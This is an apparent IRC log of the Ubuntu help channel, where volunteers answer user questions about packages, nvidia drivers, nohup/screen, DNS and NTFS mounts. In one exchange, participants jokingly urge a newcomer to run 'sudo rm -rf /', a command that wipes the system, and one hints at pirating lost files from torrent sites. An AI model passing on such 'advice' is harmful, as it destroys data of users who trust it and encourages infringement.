[07:33] <yotux> I have a desktop and a few other computer I would like to just have one system that has all of the software on it instead of 4 desktops to maintain
[07:33] <ackbahr_> savvas: Sorry, I popped and had to change name.... So, what do you think of it?
[07:34] <velko> bruenig, the only problem may arrive if the script itself expects to be run from a particular directory... :-(
[07:34] <ikonia> yotux thats not a thin client, thats a central repo
[07:34] <savvas> Stwange: have you tried restarting?
[07:34] <bruenig> velko, yeah if the paths aren't complete but let us hope it was written in a sane way
[07:34] <Fracture> why does ubuntu have deb-src repositories enabled by default ?
[07:34] <ikonia> yotux unless you mean you want to install everything in one place and have them netboot from remote disks ?
[07:34] <yotux> Sorry looking to become more than just a user of linux
[07:34] <ackbahr_> So, have to go.... I'll try again later!
[07:34] <PriceChild> Fracture, so that you can apt-get source by default?
[07:34] <elliotjhug> Fracture: in case you need source code?
[07:34] <[nrx] > ikonia: any other ideas?
[07:34] <yotux> ikonia: that is what I was thinking of
[07:34] <ackbahr_> Thanks savvas for your help.... Bye!
[07:34] <ikonia> [nrx]  no
[07:35] <Haza1> ikonia: cheers matey ;)
[07:35] <savvas> ackbahr_: maybe it's because you're trying to use debian packages that are not compatible with ubuntu. I'm not sure what else to recommend
[07:35] <savvas> :\
[07:35] <Some_ux> nm. rtorrent is for Dapper, is there some bittornet client for feisty ?
[07:35] <ikonia> yotux its quite a long winded process. You need to be able to netboot, and have nfs root, thats the bare minimum
[07:35] <bruenig> !info rtorrent feisty
[07:35] <ubotu> rtorrent: ncurses BitTorrent client based on LibTorrent. In component universe, is extra. Version 0.6.4-1 (feisty), package size 314 kB, installed size 860 kB
[07:35] <PriceChild> Some_ux, rtorrent is in feisty
[07:35] <savvas> Some_ux: www.deluge-torrent.org
[07:35] <sauvin> How is kernal level support for hfs added to feisty?
[07:35] <yotux> ikonia: what type of hardware is needed?
[07:35] <ikonia> sauvin hadd the module
[07:35] <Some_ux> PriceChild: how do i install rtorrent then ?
[07:35] <tidus_lonewolf> Ubuntu displays horizontal streaks before and after every dark object on the screen.  How can I fix that?
[07:35] <ikonia> yotux a motherboard with that ability to netboot - thats it
[07:36] <sauvin> I did a search and didn't see it...?
[07:36] <PriceChild> Some_ux, sudo apt-get install rtorrent
[07:36] <GuHHH> is there any channel related to linux games?
[07:36] <yotux> ikonia: The main system what are its requirements?
[07:36] <ikonia> yotux some disk - thats it
[07:36] <Some_ux> PriceChild: thanks
[07:37] <Pici> GuHHH: You could try #ubuntu-games
[07:37] <Some_ux> hehe, now how the heck do i use it ?
[07:37] <yotux> ikonia:  I was thinking that have these clients use its resources could need more ram processors etc
[07:37] <GuHHH> Pici: almost empty :P
[07:37] <ikonia> yotux thats not really possible
[07:38] <Haza1> One more question. By default where would the MySQL Bin folder be on Ubuntu?
[07:38] <velko> Some_ux, there is a good tutorial and shortcut description on theirs site
[07:38] <Some_ux> velko: thanks
[07:39] <mosno> does anyone have better documentation than in apt_preferences(5) for pin types? ie. you see a=unstable as a pin, but can you specify by nickname, ie. a=sid?
[07:39] <mg_cristi> ubuntu is great (sorry :), i needed to ... you know )
[07:39] <yotux> ikonia: if 1 system has clients using it's (server) resources doesn't the server require more resources? Sorry I am new to this idea
[07:39] <ikonia> yotux they don't use the servers resources, just disk
[07:39] <yotux> ikonia: thanks
[07:40] <darrint> Is there a shell command which truncates a file to a given size?
[07:40] <Some_ux> ok, now for a really silly question. if i connect remotely to my ubuntu box, start downloading with rtorrent, does it stop downloading once i disconnect ?
[07:40] <ikonia> darrint ino
[07:40] <ikonia> no
[07:40] <tomm1> hello, i am looking for the realtek-patch for alsa mentioned in https://wiki.ubuntu.com/LaptopTestingTeam/Lenovo3000C200_8922AZG#head-b36a471dcf72533e694d5d3bdb68b07db5837697
[07:40] <velko> darrint, man split
[07:41] <tomm1> the url given there is offline, does anyone have another url for it?
[07:41] <Pici> Some_ux: Unless you run it inside a screen session or with nohup, yes, it will quit when you disconnect.
[07:41] <Some_ux> what is nohup ?
[07:41] <ikonia> some_ux no hang up
[07:41] <Some_ux> how do i do that ?
[07:41] <Pici> Some_ux: It sets the process so that when you disconnect your terminal, it doesn't respond to the hangup call.
[07:41] <ikonia> some_ux "nohup command"
[07:41] <Pici> Some_ux: nohup rtorrent
[07:42] <BernardB> How can I configure firefox so, that It can open a radio stream with Amarok instead of Totem?
[07:43] <Some_ux> wow, nohup is a handy thingy
[07:43] <tomm1> BernardB, you can configure programs for every mimetype
[07:43] <BernardB> What do you mean tomm1 ?
[07:43] <johnon> jesus_: Jesus is a sacrum name.You should respect it.
[07:44] <Some_ux> ok, so lets say i did: nohup rtorrent. got disconnected, then logged in again, if i type nohup rtorrent again i will get back to where i left ?
[07:44] <nanonyme> johnon, what on earth?
[07:44] <velko> johnon, a lot of spanish speaking people names ARE jesus
[07:44] <velko> johnon, or maria or whatever
[07:44] <Pici> N3bunel: Please turn that off, or set it so it doesnt announce in this channel please.
[07:45] <tomm1> BernardB, go to the settings, take the tab "content", there take look for filetypes. i don't know the exact names, because i have the german lang pack
[07:45] <N3bunel> ok
[07:45] <N3bunel> sorry
[07:45] <N3bunel> :(
[07:45] <johnon> velko:i know but i don't really think that he comes form Spain
[07:45] <elliotjhug> any ideas on how to make open office save without having to go through the save menu? I've got black window bug and I don't want to lose my work when I kill my xserver
[07:45] <tomm1> BernardB, i at least think that this is what you are looking for
[07:45] <velko> johnon, so what? even if it's just a nick?
[07:45] <Pici> Some_ux: To be honest, I'm not sure how to re-connect to programs that you nohup.  I usually use screen.
[07:45] <BernardB> tomm1, I'll take a look.
[07:45] <johnon> velko:so that
[07:45] <uttar1> How can I install Emacs 22 on Feisty
[07:46] <SlimeyPete> elliotjhug: don't think you can unless you've previously saved the file (in which case you can just use ctrl+s)
[07:46] <Some_ux> Pici: what is screen ?
[07:46] <elliotjhug> SlimeyPete: Yeah.. I didn't cos I'm not a good forward thinker :P, thanks anyway
[07:47] <tidus_lone> Ubuntu shows long horizontal streaks across my screen.  How do I fix this?
[07:47] <boojah> installing ubuntu isn't always easy :S
[07:47] <Pici> Some_ux: Its basically a terminal session that you can disconnect.
[07:47] <magnetron> tidus_lone: what graphics card do you use? did you install any special drivers?
[07:47] <downhillgames> is there an online repoview like the Debian "Packages" where i can search for a package and see all it's deps, etc?
[07:47] <Pici> !screen | Some_ux
[07:47] <johnon> velko:there is one commandment which is talking about that.
[07:47] <ubotu> Some_ux: screen is a terminal multiplexer. See http://www.kuro5hin.org/story/2004/3/9/16838/14935 and http://en.wikipedia.org/wiki/GNU_Screen
[07:47] <Pici> downhillgames: http://packages.ubuntu.com
[07:47] <downhillgames> ty
[07:47] <Delta> hey I started downloading something through terminal and then i tried to stop it sooo I closed the window ...yeah I know its stupid ..... soo is it still downloading or what?
[07:48] <boojah> i got this message: /bin/sh: can't access tty; job control turned off
[07:48] <tidus_lone> magnetron, It's a nvidia one that came stock with this (old) computer, and no, I didn't install anything special.
[07:48] <Floating> johnson: pls take your religious bable elsewhere
[07:48] <Pici> !coc
[07:48] <ubotu> The Ubuntu Code of Conduct to which we ask all Ubuntu users to adhere can be found at http://www.ubuntu.com/community/conduct/
[07:48] <Pici> !gudelines | Floating
[07:48] <ubotu> Sorry, I don't know anything about gudelines - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[07:48] <tomm1> can someone highlight me?
[07:48] <Pici> !guidelines
[07:48] <ubotu> The people in this channel are volunteers. Your attitude will determine how fast you are helped. See also http://wiki.ubuntu.com/IrcGuidelines
[07:48] <Paddy_EIRE> tomm1,
[07:49] <tomm1> Paddy_EIRE, jup, thanks :)
[07:49] <magnetron> tidus_lone: some very old nvidia cards need special drivers. restricted driver manager might help you
[07:49] <tidus_lone> magnetron: What is that?
[07:50] <magnetron> tidus_lone: it's in the System menu
[07:50] <[nrx] > Can anyone suggest why apt-get is resolving all download hosts to 1.0.0.0?
[07:50] <jah> hurmm, ive got a question, Im wondering why I can use sudo with my pass ( only one user created since installation ) but su doesnt work, why is that?
[07:50] <luxmarvin> Who has experience with MythTV?
[07:50] <magnetron> faulty dns, [nrx] ?
[07:50] <tidus_lone> magnetron: Thanks.
[07:50] <tomm1> jah, su requies the root password
[07:51] <Pici> !sudo | jah
[07:51] <ubotu> jah: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[07:51] <magnetron> jah: don't use su, use sudo or sudo -s
[07:51] <tomm1> jah, use sudo -s instead to get a shell
[07:51] <jah> hmm i think i never gave a root pass
[07:51] <sauvin> Where are kernel modules stored?
[07:51] <magnetron> jah: sudo uses YOUR password, no separate root pass
[07:51] <bruenig> sauvin, /lib?
[07:51] <tomm1> jah, yeah, youve got to use sudo [-s] , thats the ubuntu security ;)
[07:51] <jah> sudo -s works..
[07:51] <jah> hah, ok =D
[07:52] <jah> thanks :)
[07:52] <jah> now Im gonna rm -rf / ?
[07:52] <tomm1> yeah, do it :>
[07:52] <sauvin> bruenig: thanks!
[07:52] <boojah> anyone installed ubuntu on a multicom laptop?
[07:52] <Blauhaut> jah try sudo rom -rf /
[07:52] <Blauhaut> :)
[07:52] <lobi> similar programe like AdobeAcrobate for ubuntu
[07:52] <lobi> '
[07:53] <lobi> ?
[07:53] <Pici> !pdf | lobi
[07:53] <ubotu> lobi: pdf is the Portable Document Format created by Adobe; viewable in GNU/Linux with xpdf/kpdf/gpdf, evince and also adobe reader (free download, but closed source)
[07:53] <bruenig> there is a gpdf? hmm
[07:53] <Paddy_EIRE> bruenig, there is?
[07:54] <bruenig> that is why ubotu tells me
[07:54] <kitche> bruenig, yeah but evince sorta replaced it
[07:54] <bruenig> I am looking for a gtk2 thing other than evince, maybe that will do
[07:54] <boojah> the laptop i have didn't have acip, will that be a problem in ubuntu?
[07:54] <Paddy_EIRE> bruenig, its evince
[07:54] <[nrx] > magnetron: that's what i thought but nslookup works perfectly fine
[07:54] <Paddy_EIRE> bruenig, gpdf = evince
[07:54] <bruenig> evince has so many ridiculous dependencies
[07:54] <fermatstheorem> boojah: unless your laptop is positively archaic, it will support acpi
[07:55] <Paddy_EIRE> bruenig, what about xpdf
[07:55] <bruenig> xpdf is gtk1
[07:55] <Chousuke> Can someone tell me whether the current gutsy is able to autodetect and use EFI for booting?
[07:55] <[nrx] > well, DNS works fine from the konsole, but not in the likes of firefox etc ;o
[07:55] <Paddy_EIRE> bruenig, but it should not require so many deps as you say
[07:55] <phanto1> Help please packages broke while updating. With sudo apt-get install -f I get this    http://paste.ubuntu-nl.org/37291/    compiz fusion plugins extra     compiz fusion plugins main  are apearing in update-manager, and in Synaptik markt with red . tried to update but i get this http://paste.ubuntu-nl.org/37292/   compleate remove and reinstall arent helping.
[07:55] <bruenig> it depends on gnome-icon-theme
[07:55] <bruenig> for one
[07:55] <lobi__> can i do this http://www.acrobatusers.com/tutorials/2006/adding_video/adding_video.pdf
[07:55] <boojah> fermatstheorem: i had some problems installing it, i got this message:  /bin/sh: can't access tty; job control turned off i managed a workaround with modprobe piix.. but is this related to acip?
[07:56] <lobi__> in gpdf
[07:56] <bruenig> and it depends on half of gnome it seems
[07:56] <Paddy_EIRE> bruenig, then use adobes
[07:56] <Paddy_EIRE> :P
[07:56] <fermatstheorem> boojah: piix is related to your p/s-ata controller and not acpi
[07:56] <bruenig> I will, I feel dirty doing it though
[07:56] <Paddy_EIRE> lol
[07:57] <N[i] X> hello, when i try to view videos on google video it gives me a blank, white page....   any ideas?
[07:57] <praet> phanto1: http://ubuntuforums.org/showthread.php?p=3359300#post3359300
[07:57] <tomm1> N[i] X, i think you dont have the flash plugin installed
[07:57] <Jack_Sparrow> phanto1:  You will get better help with an effects problem in #Ubuntu-Effects   ... How did you install fusion?
[07:57] <tomm1> N[i] X, try installing flashplugin-nonfree via apt
[07:57] <boojah> fermatstheorem: ok.. i finally got it installed.. i think i have some problems getting xserver to run, but hopefully it will work :P
[07:58] <fermatstheorem> boojah: best wishes
[07:58] <boojah> fermatstheorem: thanks.. if it wont work, ill be back here soon :D
[07:58] <DanielRS> Sometimes when I'm using Ubuntu computer freezes, then I can do nothing except move the mouse.
[07:58] <DanielRS> Anyone can help me???
[07:58] <N[i] X> tomml.. ok one second
[07:59] <kitche> Jack_Sparrow, seems like he isntall the compiz-fusion from soem third part repo which might have broken his sytem
[07:59] <N[i] X> tomml, still nothing
[07:59] <Jack_Sparrow> DanielRS: Not much to go on...
[07:59] <N[i] X> tomml, it's just a white screen
[07:59] <Jack_Sparrow> kitche: Kinda what I figures  automatic or envy
[07:59] <[coca1ne] > hey everybody i ve got a questian (i hope somebody can give me a tip) OK: I mounted 2 NTFS-Partitions with NTFS-3g One does work alright / the second one hast Read/Write enabled but you cant erase any file, i dont know why there always is an Error, its mounted on the same way like the other Partition in /etc/fstab... what could it be?
[08:00] <N[i] X> tomml, a blank page.. note that i can still view videos on youtube though
[08:00] <DanielRS> I can't do nothing, is like the monitor freezed, but I can move the mouse, not click
[08:00] <tomm1> N[i] X, then i dont know ;)
[08:00] <N[i] X> tomml, thanks
[08:00] <Jack_Sparrow> DanielRS: doe it fo the same thing when you run live.
[08:00] <tomm1> N[i] X, do you have javascript enabled for google.com?
[08:01] <Jack_Sparrow> DanielRS: Give us more to work with.
[08:01] <N[i] X> tomml, how do i do that?
[08:01] <DanielRS> I happens in different situations
[08:02] <tomm1> N[i] X, i think you have no javascript-manager plugin installed, so js is activated globally
[08:02] <tomm1> dunno
[08:02] <DanielRS> usually after 1 or 2 hours running
[08:02] <Jack_Sparrow> DanielRS: but does it happen while running livecd?
[08:02] <phanto1>  Jack_Sparrow:it was working fine for a long time. An update of package ruined the to packages. Instale trough repo if I understand the question corect.
[08:02] <DanielRS> no, installed version
[08:02] <aguitel> anyone installed NVIDIA driver from the nvidia.com ?
[08:02] <[coca1ne] > aguitel: i does
[08:02] <Jack_Sparrow> phanto1:  What did you use to install it and what repo
[08:03] <elliotjhug> aguitel: A couple of times before I switched to envy.
[08:03] <N[i] X> tomml, dont worry
[08:03] <N[i] X> i gotta run
[08:03] <N[i] X> thakns for the help
[08:03] <[coca1ne] > aguitel: its fuckin easy with ubuntu do you ve got probs doing it?
[08:03] <Some_ux> ok , so i installed screen, now i need to figure out how to use it
[08:03] <Jack_Sparrow> elliotjhug: Envy is a bad idea
[08:03] <[nrx] > Can anyone suggest why apt-get is resolving all download hosts to 1.0.0.0? nslookup in konsole works but firefox doesn't seem to work with hostnames either. DNS is obviously broken but I don't know what to try
[08:04] <kkathman> !language | [coca1ne] 
[08:04] <ubotu> [coca1ne] : Please watch your language and keep this channel family friendly.
[08:04] <tomm1> does anyone have the realtek-patch for alsa metioned at https://wiki.ubuntu.com/LaptopTestingTeam/Lenovo3000C200_8922AZG#head-b36a471dcf72533e694d5d3bdb68b07db5837697 ? i need it, but the url there is offline
[08:04] <DanielRS> I think it happens when the computer runs out of RAM memory or the CPU is too busy...
[08:04] <[coca1ne] > kkathman: Im friendly... Im tryin to help him... whats your problem?
[08:04] <Jack_Sparrow> DanielRS: how much ram do you have
[08:04] <kkathman> your language :)
[08:04] <elliotjhug> Jack_Sparrow: I am perfectly fine using Envy. I realise the 'official' views regarding the use of Envy. I haven't suggested anyone else does.
[08:05] <DanielRS> 512+256 DDR2 533 on notebook
[08:05] <Jack_Sparrow> DanielRS: Go into cmos and reduce the amount of shared video ram
[08:05] <[coca1ne] > kkathman: Excuse me... its not the best english but i try to give my best...
[08:05] <DanielRS> what's cmos?
[08:05] <fermatstheorem> kkathman: that's the spirit!
[08:05] <[coca1ne] > kkathman: my native language isnt english....
[08:05] <Jack_Sparrow> elliotjhug: Saying in channel that it works for you still seems to be indirectly supporting it
[08:06] <the_cyber_guy> .doc file viewer for ubuntu ?
[08:06] <Pici> the_cyber_guy: viewer? Open office can open .doc s
[08:06] <Dr_willis> openoffice and abiword can view .doc i thought.
[08:06] <Jack_Sparrow> DanielRS: Does you computer have a plug in video card or onboard video
[08:06] <aguitel> coca1ne ,i have nvidia tnt2 32 meg card and i what to enable 3d and with nvidia-glx is not working
[08:06] <the_cyber_guy> only viewer
[08:07] <elliotjhug> Jack_Sparrow: I merely said that it works. Lets not argue over it though.
[08:07] <DaBeowulf> Can segmentation fault crashes in UT2004 get fixed by using this http://www.nvidia.com/object/linux_display_amd64_100.14.11.html instead of the nvidia-glx-new from the restricted repository?
[08:07] <DanielRS> it uses it's own LCD
[08:07] <DaBeowulf> I did run memtest and my mem seems fine and UT is at the latest version.
[08:07] <Jack_Sparrow> DanielRS: so most likely it is shared ram...  did you ever say how much ram you have
[08:07] <[coca1ne] > aguitel: you need a specific driver for this old card with tnt2-chipset... there is an package in the responitories of ubuntu.. for old cards you need legacy drivers!
[08:08] <DanielRS> 512+256
[08:08] <Jack_Sparrow> DanielRS: I see it..
[08:08] <phanto1> Jack_Sparrow:Ubuntu 64 bit    I used Synaptik and installed this packages  compiz compiz-gnome compizconfig-settings-manager compiz-fusion-* compiz-core compiz-plugins libcompizconfig0 libdecoration0 emerald compiz-fusion-plugins-unofficial
[08:08] <phanto1> # Trevio's Ubuntu feisty EyeCandy Repository (GPG key: 81836EBF - DD800CD9)
[08:08] <phanto1> # Many eyecandy 3D apps like Beryl, Compiz, Fusion and kiba-dock snapshots
[08:08] <phanto1> # built using latest available (working) sources from git/svn/cvs.
[08:08] <phanto1> deb http://download.tuxfamily.org/3v1deb feisty eyecandy-amd64
[08:08] <phanto1> deb-src http://download.tuxfamily.org/3v1deb feisty eyecandy-amd64
[08:08] <[coca1ne] > aguitel: you need a specific driver for this old card with tnt2-chipset... there is an package in the responitories of ubuntu.. for old cards you need legacy drivers!
[08:08] <DaBeowulf> !nvidia-glx-legacy
[08:08] <[coca1ne] > aguitel: there is a package called nvidia-glx-legacy
[08:08] <aguitel> coca1ne , helpme to find it
[08:09] <manoff> hello, how do i make some command-line program to be run at system startup?
[08:09] <kkathman> !nvidia| aguitel
[08:09] <ubotu> aguitel: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[08:09] <Jack_Sparrow> phanto1: Please dont pase into channel.. Using outside repos is what messed it up.  Your only hope is effects room
[08:09] <manoff> i have inadyn which i would like to get run at startup
[08:09] <[coca1ne] > install this package "nvidia-glx-legacy" instead of "nvidia-glx" would be the best for you i think... or search for the driver on nvidia.com but its better for you to use the package of ubuntu... so it will work probably
[08:09] <manoff> that is, even before i log in
[08:09] <clever> [17304355.368000]  NVRM: Xid (0001:00): 3, C 00000002 SC 00000007 M 00000188 Data 01020203
[08:09] <aguitel> coca1ne , i need to uninstall nvidia-glx first ?
[08:09] <fermatstheorem> manoff: try googling on how to use xinetd or init.d or rc2.d
[08:09] <[coca1ne] > yeah
[08:09] <epiclulz> can someone help me mount a flash drive? i use "mount -t vfat /dev/sdb /mnt/flash" and it tells me wrong fs or something
[08:09] <clever> my nvidida drivers crashed
[08:09] <manoff> fermatstheorem: thanks
[08:10] <noor> GRUB WONT FIND WINXP T___T Please help :(
[08:10] <DanielRS> Do you think it's caused by low RAM?
[08:10] <kkathman> aguitel:  please use that link that ubotu said earlier - it gives you step by step instructions
[08:10] <phanto1> Jack_Sparrow: thanks
[08:10] <niuq> hi there,  little help please... how can i read/extract .rar files?
[08:10] <jrib> !rar > niuq (see the private message from ubotu)
[08:10] <Jack_Sparrow> niuq: !rar
[08:10] <[coca1ne] > aguitel: uninstall it... and then install nvidia-glx-legacy and enable it with this: sudo nvidia-xconfig // and if you have any more questions... read the manual which kkathman gave you! ok!
[08:11] <noor> any one?
[08:11] <DaBeowulf>  I did run memtest and my mem seems fine and UT is at the latest version.
[08:11] <aydiosmio> I have USB LCD device, most likely uses the FTDI chip, what's the most likely way it can be accessed with some sort of tty interface?
[08:11] <DaBeowulf> Er soz
[08:11] <DaBeowulf> /var/lib/dpkg/info/grub.list
[08:11] <DanielRS> Jack_Sparrow:Do you think it's caused by low RAM?
[08:11] <Jack_Sparrow> niuq: there is a prg in the repos..  search for rar
[08:11] <aguitel> coca1ne , thanks
[08:11] <[coca1ne] > aguitel: no problem
[08:12] <Jack_Sparrow> DanielRS: There just isnt much to go on..  I never caught the answer.. Does it still do it when you run the livecd
[08:12] <rabiddachshund> If ubuntu automatically mounts my windows partition, do I need to instal ntfs-3g in order to give ubuntu write permission?
[08:12] <Lr5> !rmvb
[08:12] <ubotu> Sorry, I don't know anything about rmvb - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[08:12] <Jack_Sparrow> rabiddachshund: yes
[08:12] <[coca1ne] > hey i ve got a question (i hope somebody can give me a tip) OK: I mounted 2 NTFS-Partitions with NTFS-3g One does work alright / the second one hast Read/Write enabled but you cant erase any file, i dont know why there always is an Error, its mounted on the same way like the other Partition in /etc/fstab... what could it be?
[08:12] <Lr5> Anyone knows how to play .rmvb files?
[08:12] <DanielRS> never run on livecd...
[08:12] <noor> i neeed help with grub it wont load XP
[08:12] <rabiddachshund> is there a better program than ntfs-3g/
[08:12] <bassam> hello every body
[08:12] <Lr5> I managed to get sound work in totem, and video in realplayer. :s
[08:13] <[coca1ne] > rabiddachshund: no use ntfs-3g you need it to have write permission on ntfs-filesystems
[08:13] <bassam> what is ubunto i downloaded it?
[08:13] <niuq> Jack_Sparrow: i've installed 7zip & rar but when i try to extract a file, it gives an error "
[08:13] <epiclulz> can someone help me mount a flash drive? i use "mount -t vfat /dev/sdb /mnt/flash" and it tells me wrong fs or something
[08:13] <neverblue2> can I make panels not be 'deleteable' ?
[08:13] <jrib> !ubuntu | bassam
[08:13] <ubotu> bassam: Ubuntu is a complete Linux-based operating system, freely available with both community and professional support. It is developed by a large community and we invite you to participate too! - Also see http://www.ubuntu.com
[08:13] <rabiddachshund> ok thanks
[08:13] <ashtonddude> hey
[08:13] <jrib> niuq: have you installed the "unrar" package like the wiki recommends?
[08:13] <fermatstheorem> epiclulz: are you sure yorr flash drive is fat32 formatted?
[08:13] <Jack_Sparrow> niuq: they dont handle passworded files  (I think)
[08:13] <epiclulz> fermatstheorem, yeah
[08:14] <niuq> no, i'm going to
[08:14] <niuq> thanks
[08:14] <ashtonddude> hey everybody
[08:14] <jrib> niuq: unrar does handle passwords by the way
[08:14] <fermatstheorem> epiclulz: flash drives are usually automounted
[08:14] <ashtonddude> wat kind of chat room is this?
[08:14] <DaBeowulf> boot/grub/menu.lst
[08:14] <fermatstheorem> epiclulz: did you check the dmesg output
[08:14] <DaBeowulf> There
[08:14] <Jack_Sparrow> jrib: thanks
[08:14] <bassam> once i installed ubunto all my files and videos was deleted from windows how can i get them back?
[08:14] <niuq> Jack_Sparrow: but those files doesn't have passwords..
[08:14] <[nrx] > ARG
[08:14] <jrib> Lr5: tried installing w32codecs for mplayer?
[08:14] <DaBeowulf> noon see ^ And add it
[08:15] <Jack_Sparrow> jrib: How long has it done it...Last I remember they didnt
[08:15] <niuq> Jack_Sparrow: anyway i'm going to try unrar
[08:15] <ashtonddude> hi
[08:15] <jrib> Jack_Sparrow: as long as I can remember really, maybe you're thinking of unrar-free?
[08:15] <ashtonddude> hi
[08:15] <praet> bassam: did you install _over_the windows partition?
[08:15] <neverblue2> can I make panels not be 'deleteable' ?
[08:15] <Jack_Sparrow> yes
[08:15] <Linuxchops> niuq: It handles ones without passwords too.
[08:15] <jrib> neverblue2: try the admin guide at library.gnome.org, not sure
[08:15] <cellofellow> hello, I'm trying to make a very restricted user. Number one on the list is the blocking of games. For this I need to disable Flash. I've made the Flash plugin files only usable by those in the flash group, but firefox still offers to install flash stuff when flash sites appear, which I don't want it to do. Thoughts on how to fix this?
[08:15] <Lr5> jrib: nope, how to install it?
[08:15] <neverblue2> thanks jrib
[08:15] <Lr5> Which package is it?
[08:16] <jrib> !w32codecs > Lr5 (see the private message from ubotu)
[08:16] <bassam> before i install i had 3 partitions but now i have only 1
[08:16] <jrib> bassam: if you told the installer to overwrite your windows partition, then your data is lost
[08:16] <Dr_willis> cellofellow,  that 'install stuff from the net' dont work anyway. :) there are some Locked down browser - firefox extensions out. May want to check them out.
[08:16] <praet> bassam: is the 1 partition as big as the complete drive?
[08:16] <epiclulz> fermatstheorem, http://pastebin.com/d3cc952cb
[08:17] <DanielRS> What do you suggest me to do, I can't get more information, because when computer freezes I can't get information of what happened...
[08:17] <cellofellow> Dr_willis: in my experience they do work, especially with Swiftfox which I use.
[08:17] <Dr_willis> cellofellow,  thers also the fact that some sites require flash for their menus and to be used normally. Not just game sites.
[08:17] <bassam> the 1 partition have most of the HDD space
[08:17] <Dr_willis> cellofellow,  i saw some extension the otehr day for firefox that let you manage/controll content from a central account. but i forget its name.
[08:17] <cellofellow> Dr_willis: yeah, I understand, but it's the easier way to go to block flash.
[08:18] <cellofellow> Dr_willis: sounds good.
[08:18] <fermatstheorem> epiclulz: "clulz:
[08:18] <[nrx] > i don't get it. I can use this irc clients /dns to resolve names and it works fine.. but firefox.. apt doesn't work
[08:18] <jrib> cellofellow: user would be able to copy files to ~/.mozilla/{firefox/,}plugins anyway
[08:18] <fermatstheorem> sdb: unknown partition table"" means your flash drive is not properly formatted
[08:18] <bassam> i want to retrieve those files i had before i installed ubunto
[08:18] <cellofellow> jrib: yeah, I know.
[08:18] <epiclulz> fermatstheorem, eh?
[08:18] <cellofellow> jrib: so I think I need a lock-down extension like Dr_willis mentioned.
[08:19] <bassam> can anyone help please>
[08:19] <jrib> bassam: are you presented with a menu when you boot up to choose to boot windows?
[08:19] <Lr5> jrib: thanks, works
[08:19] <DanielRS> jack_sparrow: What do you suggest me to do, I can't get more information, because when computer freezes I can't get information of what happened...
[08:20] <epiclulz> fermatstheorem, geez :(
[08:20] <pike_> bassam: are you just trolling and playing around or is this a real problem?
[08:20] <fermatstheorem> epiclulz: the message says, your flasdrive is not properly formatted, unless you think you have data in it, i suggest you to format it
[08:20] <niuq> !bin
[08:20] <ubotu> Sorry, I don't know anything about bin - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[08:20] <niuq> !pastebin
[08:20] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[08:20] <cellofellow> [nrx] : what's your /etc/resolv,conf file look like?
[08:20] <epiclulz> brb
[08:20] <bassam> i dont remember but now i cant find my movies and songs i had before
[08:20] <niuq> jrib: http://paste.ubuntu-nl.org/37335/
[08:20] <niuq> Jack_Sparrow: http://paste.ubuntu-nl.org/37335/
[08:20] <[nrx] > cellofellow: nameserver 192.168.1.1
[08:21] <cellofellow> [nrx] : is that your router?
[08:21] <[nrx] > cellofellow: yes
[08:21] <cellofellow> [nrx] : log in to your router and find out what IT's nameserver(s) is/are.
[08:21] <[nrx] > my isp's
[08:21] <jrib> niuq: try a different archive then, looks like it didn't download correctly
[08:21] <cellofellow> [nrx] : and use those.
[08:21] <bassam> is there program to retrieve those lost data>
[08:21] <[nrx] > hm
[08:21] <[nrx] > ok
[08:21] <DanielRS> jack_sparrow: What do you suggest me to do, I can't get more information, because when computer freezes I can't get information of what happened...
[08:22] <dvorak____> Hi. What happens if I delete the contents of /tmp ??
[08:22] <jrib> bassam: if you overwrote your windows partitions, then no
[08:22] <niuq> jrib: i've tried with different files, and that file is not download it, i made it with winrar
[08:22] <bassam> and if not where they would be?
[08:22] <phreekbird> sup yall
[08:22] <pike_> bassam: luckily most everything is archived for you at various torrent sites around the globe :)
[08:23] <niuq> jrib: nvm it worked :D:D
[08:23] <DanielRS> jack_Sparrow: What do you suggest me to do, I can't get more information, because when computer freezes I can't get information of what happened...
[08:23] <phreekbird> quick questiton, I have setup lamp before int he past (using 6.10) i just setup 7.04 and apache isnt accessable by name... only  by IP, what did i do wrong?
[08:23] <niuq> jrib: thanks anyway
[08:23] <bassam> how what do u mean?
[08:23] <Dr_willis> cellofellow,  i cant find the name of that extension. its not on the firefox extension site as far as i can tell.. :(
[08:23] <cellofellow> hmm :(
[08:23] <[nrx] > cellofellow: that hasn't worked either
[08:23] <Dr_willis> cellofellow,  thers several kioisk extensions for locking down the browser. but not the one im looking for.
[08:23] <jrib> !who | bassam
[08:23] <ubotu> bassam: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[08:24] <cellofellow> [nrx] : oh, then I guess change it back.
[08:24] <ConstyXIV> has anyone out there tried wubi?
[08:24] <Dr_willis> cellofellow,  here it is.. :)  http://www.techcrunch.com/2007/06/18/glubble-makes-firefox-family-friendly/
[08:24] <[nrx] > cellofellow: would it make any difference if i told you that i've had problems getting connected to the router.. and that i've had to use iwconfig manually to get a connection?
[08:24] <pike_> bassam: you can type the first few letters of someones name and hit the tab key to autocomplete it
[08:25] <CoasterMaster> ConstyXIV, yes
[08:25] <boojah> how do i get the kernel makefile for ubuntu?
[08:25] <jrib> !kernel > boojah (see the private message from ubotu)
[08:25] <ConstyXIV> CoasterMaster: how well does it work (and how potentially destructive is it)?
[08:25] <cellofellow> [nrx] : maybe you should disable your ethernet card. sudo ifdown eth0 or whatever it is.
[08:25] <[nrx] > cellofellow: it already is :(
[08:26] <Dr_willis> boojah,  you mean the kernels .config or whatever its called? at one time there was a /proc/config or similer file that had it.
[08:26] <Dr_willis> boojah,  not sure if it is still there.. or what the name was
[08:26] <[nrx] > i restarted eth0 and took it down again and now it's working :O
[08:26] <genii> menuconfig works usually
[08:26] <CoasterMaster> ConstyXIV, it worked very well.  I haven't run into any problems with it.  It's not too terribly destructive because it doesn't change your partition table.  The only caveats are that suspend/hibernate don't work in Ubuntu.
[08:27] <aguitel> coca1ne , when i enable the new driver with: sudo nvidia-xconfig they say command not found ,how solve this?
[08:27] <[nrx] > !pastebin
